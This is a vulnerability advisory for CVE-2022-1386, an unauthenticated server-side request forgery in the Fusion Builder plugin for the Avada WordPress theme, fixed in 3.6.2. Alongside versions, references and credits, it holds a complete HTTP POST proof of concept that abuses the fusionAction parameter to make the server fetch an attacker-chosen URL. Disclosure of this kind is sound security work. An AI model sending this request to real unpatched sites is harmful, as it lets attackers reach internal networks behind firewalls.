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WordPress Plugin Vulnerabilities

Fusion Builder < 3.6.2 - Unauthenticated SSRF

Description

The plugin, used in the Avada theme, does not validate a parameter in its forms which could be used to initiate arbitrary HTTP requests. The data returned is then reflected back in the application's response. This could be used to interact with hosts on the server's local network bypassing firewalls and access control measures.

Proof of Concept

Attacker can control the URL (fusionAction parameter) and method (fusionActionMethod  parameter) of the HTTP request.

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------30259827232283860776499538268
Content-Length: 1457
Connection: close
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="formData"

[email protected]&fusion_privacy_store_ip_ua=false&fusion_privacy_expiration_interval= 48&privacy_expiration_action=ignore&fusion-form-nonce-10361=e222df00dd&fusion-fields-hold-private-data= -----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="action"

fusion_form_submit_form_to_url
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="fusion_form_nonce"

e222df00dd
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="form_id"

10361
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="post_id"

8988
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="field_labels"

{"email":"Email address"}
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="hidden_field_names"

[]
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="fusionAction"

https://arbitrary.com/
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="fusionActionMethod"

post
-----------------------------30259827232283860776499538268—
 

Affects Plugins

fusion-builder
Fixed in version 3.6.2

Affects Themes

Avada
Fixed in version 7.6.2

References

CVE
CVE-2022-1386
URL
https://www.rootshellsecurity.net/rootshell-discovered-a-critical-vulnerability-in-top-wordpress-theme/
URL
https://theme-fusion.com/version-7-6-2-security-update/

Classification

Type

SSRF

OWASP top 10
A1: Injection
CWE
CWE-918

Miscellaneous

Original Researcher

Calum Elrick

Submitter

[email protected]

Submitter twitter
calumjelrick
Verified

Yes

WPVDB ID
bf7034ab-24c4-461f-a709-3f73988b536b

Timeline

Publicly Published

2022-04-19 (about 2 months ago)

Added

2022-04-19 (about 2 months ago)

Last Updated

2022-04-20 (about 2 months ago)

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